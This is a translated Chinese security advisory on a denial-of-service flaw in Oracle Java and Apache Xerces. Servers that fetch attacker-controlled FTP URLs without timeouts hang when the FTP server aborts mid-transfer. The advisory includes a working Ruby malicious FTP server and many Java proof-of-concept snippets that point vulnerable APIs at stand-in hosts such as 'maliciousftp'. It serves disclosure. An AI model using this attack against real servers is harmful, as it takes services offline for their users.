【技术分享】Oracle Java及Apache Xerces PDF/Docx服务器端拒绝服务漏洞

https://p3.ssl.qhimg.com/t015ecf4006da059f4f.png

译者:興趣使然的小胃

预估稿费:90RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、漏洞概要

Oracle Java JDK/JRE(1.8.0.131以及更早版本)软件包以及Apache Xerces(2.11.0版)中存在两个漏洞,这两个漏洞分别为:

Oracle JDK/JRE并发型拒绝服务(DoS)漏洞

java.net.URLConnection(未使用setConnectTimeout时)并发型拒绝服务漏洞

Oracle已收到相关漏洞报告,并分配了一个报告跟踪编号:S0876966。目前我们还没有收到相关补丁或解决方法的更多信息。


二、漏洞细节

当满足以下条件时,攻击者可以使用这两个漏洞对服务器发起拒绝服务(Denial of Service, DoS)攻击:

攻击者可以将一个精心构造的URL参数传递给目标服务器,URL参数指向攻击者控制的FTP服务器。

目标服务器使用存在漏洞的组件来获取攻击者指定的资源。

目标服务器可以获取使用FTP URI地址的资源。

在这两个漏洞中,攻击者发起的攻击过程如下所示:

1、攻击者迫使存在漏洞的目标服务器解析某个FTP URL地址,该地址指向攻击者控制的FTP服务器。

2、目标服务器获取攻击者指定的FTP资源。

3、攻击者的FTP服务器突然停止工作,导致目标服务器上的Java进程内部遗留两个线程,这两个线程处于无限等待状态。

4、如果Java进程为单线程进程,那么该进程就无法进一步处理其他客户端的请求,只能接受来自攻击者的一个请求,满足拒绝服务条件。

5、如果Java进程为多线程进程,那么攻击者可以使用同样的技术,向每个可用的进程发出一个请求,耗尽所有可用的线程,以满足拒绝服务条件。

为了满足攻击条件,当Java客户端即将执行RETR FTP命令时,攻击者控制的FTP服务器需要“突然”退出。服务端无法正确处理这种情况,因此会出现线程并发型拒绝服务现象。

比如:

require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
 Thread.start(ftp_server.accept) do |ftp_client|
    puts "FTP. New client connected"
    ftp_client.puts("220 ftp-server")
    counter = 0
    loop {
        req = ftp_client.gets()
        break if req.nil?
        puts "< "+req
        if req.include? "USER"
            ftp_client.puts("331 password")
        else
            ftp_client.puts("230 Waiting data")
            counter = counter + 1
            if counter == 6
                abort
            end
        end
    }
    puts "Aborted..." 
 end
end
end
loop do
sleep(50000)
end

http://p0.qhimg.com/t012f6249a50a1c2ab5.png

当漏洞条件满足时,DoS会导致目标服务器与FTP服务器(192.168.234.134)之间的连接处于CLOSE_WAIT状态,使服务端的Java线程处于卡顿状态。

http://p9.qhimg.com/t01a6d73621d7c7b603.png


三、Oracle JDK/JRE并发型拒绝服务漏洞

存在漏洞的函数为:

java.io.InputStream
java.xml.ws.Service
javax.xml.validation.Schema
javax.xml.JAXBContext
java.net.JarURLConnection(未使用setConnectionTimeout以及setReadTimeout函数时)
javax.imageio.ImageIO
Javax.swing.ImageIcon
javax.swing.text.html.StyleSheet

3.1 java.io.InputStream PoC代码

import java.io.InputStream;
import java.net.URL;
public class RandomAccess {
 public static void main(String[] args) {
  try {
   //url = new URL ("ftp://maliciousftp:2121/test.xml");
   URL url = new URL("ftp://maliciousftp:2121/test.xml");
   InputStream inputStream = url.openStream();
   inputStream.read();
   //urlc.setReadTimeout(5000);
   //urlc.setConnectTimeout(5000); // <- this fixes the bug
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}

3.2 javax.xml.ws.Service PoC代码

import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class CreateService {
 public static void main(String[] args) {
  String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
  String namespace = "http://foo.bar.com/webservice";
  String serviceName = "SomeService";
  QName serviceQN = new QName(namespace, serviceName);
  try {
   Service service = Service.create(new URL(wsdlURL), serviceQN);
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}

3.3 javax.xml.validation.Schema PoC代码

import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import org.xml.sax.SAXException;
public class NSchema {
 public static void main(String[] args) {
  SchemaFactory schemaFactory = 
 SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
  URL url;
  try {
   url = new URL("ftp://maliciousftp:2121/schema");
   try {
    Schema schemaGrammar = schemaFactory.newSchema(url);
   } catch (SAXException e) {
    e.printStackTrace();
   }
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}

3.4 javax.xml.JAXBContext PoC代码

import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
public class UnMarsh {
 public static void main(String[] args) {
  JAXBContext jaxbContext = null;
  try {
   jaxbContext = JAXBContext.newInstance();
  } catch (JAXBException e) {
   e.printStackTrace();
  }
  URL url = null;
  try {
   url = new URL("ftp://maliciousftp:2121/test");
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
  Unmarshaller jaxbUnmarshaller = null;
  try {
   jaxbUnmarshaller = jaxbContext.createUnmarshaller();
  } catch (JAXBException e) {
   e.printStackTrace();
  }
  try {
   Object test = jaxbUnmarshaller.unmarshal(url);
  } catch (JAXBException e) {
   e.printStackTrace();
  }
 }
}

3.5 java.net.JarURLConnection PoC代码

import java.io.IOException;
import java.net.JarURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.jar.Manifest;
public class JavaUrl {
 public static void main(String[] args) {
  URL url = null;
  try {
   url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/");
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
  JarURLConnection jarConnection = null;
  try {
   jarConnection = (JarURLConnection) url.openConnection();
   jarConnection.setConnectTimeout(5000);
   jarConnection.setReadTimeout(5000);
  } catch (IOException e1) {
   e1.printStackTrace();
  }
  try {
   Manifest manifest = jarConnection.getManifest();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }
}

3.6 javax.imageio.ImageIO PoC代码

import java.awt.Image;
import java.io.IOException;
import java.net.URL;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ImageReader {
 public static void main(String[] args) {
  Image image = null;
  try {
   URL url = new URL("ftp://maliciousftp:2121/test.jpg");
   image = ImageIO.read(url);
  } catch (IOException e) {
   e.printStackTrace();
  }
  JFrame frame = new JFrame();
  frame.setSize(300, 300);
  JLabel label = new JLabel(new ImageIcon(image));
  frame.add(label);
  frame.setVisible(true);
 }
}

3.7 javax.swing.ImageIcon PoC代码

import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.ImageIcon;
public class ImageXcon {
 public static void main(String[] args) {
  URL imgURL;
  try {
   imgURL = new URL("ftp://maliciousftp:2121/test");
   String description = "";
   ImageIcon icon = new ImageIcon(imgURL, description);
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}

3.8 javax.swing.text.html.StyleSheet PoC代码

import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.text.html.StyleSheet;
public class ImportStyla {
 public static void main(String[] args) {
  StyleSheet cs = new StyleSheet();
  URL url;
  try {
   url = new URL("ftp://maliciousftp:2121/test");
   cs.importStyleSheet(url);
  } catch (MalformedURLException e) {
   e.printStackTrace();
  }
 }
}

四、java.net.URLConnection并发型拒绝服务漏洞

当使用java.net.URLConnection来获取FTP服务器上的某个文件时,如果不指定连接超时(Connection Timeout)时间,那么就会存在线程并发型拒绝服务漏洞。

存在漏洞的函数为:

javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
org.dom4j.Document
org.dom4j.io.SAXReader
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory

Apache Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的根本原因所在。

http://p9.qhimg.com/t011c5cc7e4a5cc331a.png

在这种情况下,XMLEntityManager.class没有明确设置连接对象的连接超时时间,因此Java会将该时间设置为默认值(-1),这样一来就会满足拒绝服务条件,具体细节如下所述。

比如,服务器在如下示例代码中,利用Apache Xerces库来获取FTP服务器上的某个XML文件:

[snip]
    private void parseXmlFile() {
     //get the factory
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
     try {
      //Using factory get an instance of document builder
      DocumentBuilder db = dbf.newDocumentBuilder();
      //parse using builder to get DOM representation of the XML file
      dom = db.parse("ftp://maliciousftpserver/test.xml"); // <- FTP URL controlled by the attacker
     } catch (ParserConfigurationException pce) {
      pce.printStackTrace();
     } catch (SAXException se) {
      se.printStackTrace();
     } catch (IOException ioe) {
      ioe.printStackTrace();
     }
    }
[snip]

4.1 SAXParser PoC代码

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
UserHandler userhandler = new UserHandler();
saxParser.parse("ftp://badftpserver:2121/whatever.xml”)

4.2 DOM4J/SAXReader PoC代码

SAXReader reader = new SAXReader();
Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" );

4.3 JAVAX XML Parsers PoC代码

DocumentBuilder db = dbf.newDocumentBuilder();            
dom = db.parse("ftp://badftpserver:2121/whatever.xml");
(完)